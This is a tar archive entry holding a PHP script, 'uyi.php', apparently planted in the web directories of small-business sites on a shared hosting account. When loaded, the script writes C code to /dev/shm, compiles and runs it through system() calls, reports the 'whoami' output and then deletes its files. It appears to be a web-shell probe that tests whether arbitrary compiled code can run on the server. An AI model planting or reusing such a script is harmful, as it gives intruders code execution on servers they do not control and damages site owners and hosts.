/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/uyi.php.tar
home/fresvfqn/24hourwaterdamagerestorationlongisland.com/bajk/uyi.php000064400000001757151020064050022226 0ustar00<?php
// compiler_ram.php - Use /dev/shm
echo "<pre>";
echo "=== RAM DISK COMPILATION TEST ===\n\n";

$c_code = '#include <stdio.h>
int main() {
    printf("RAM DISK EXECUTION WORKS!\\n");
    system("whoami > /dev/shm/ram_result.txt");
    return 0;
}';

$c_file = '/dev/shm/ram_test.c';
$binary = '/dev/shm/ram_test';

file_put_contents($c_file, $c_code);
echo "1. C file created in /dev/shm/\n";

system("gcc $c_file -o $binary 2>&1");
echo "2. Compilation attempted\n";

if(file_exists($binary)) {
    echo "3. Binary created, trying execution...\n";
    system("$binary 2>&1", $ret);
    echo "4. Execution return: $ret\n";
    
    if(file_exists('/dev/shm/ram_result.txt')) {
        echo "5. Result: " . file_get_contents('/dev/shm/ram_result.txt');
    }
} else {
    echo "3. ❌ Binary not created\n";
}

// Cleanup
if(file_exists($c_file)) unlink($c_file);
if(file_exists($binary)) unlink($binary);
if(file_exists('/dev/shm/ram_result.txt')) unlink('/dev/shm/ram_result.txt');

echo "</pre>";
?>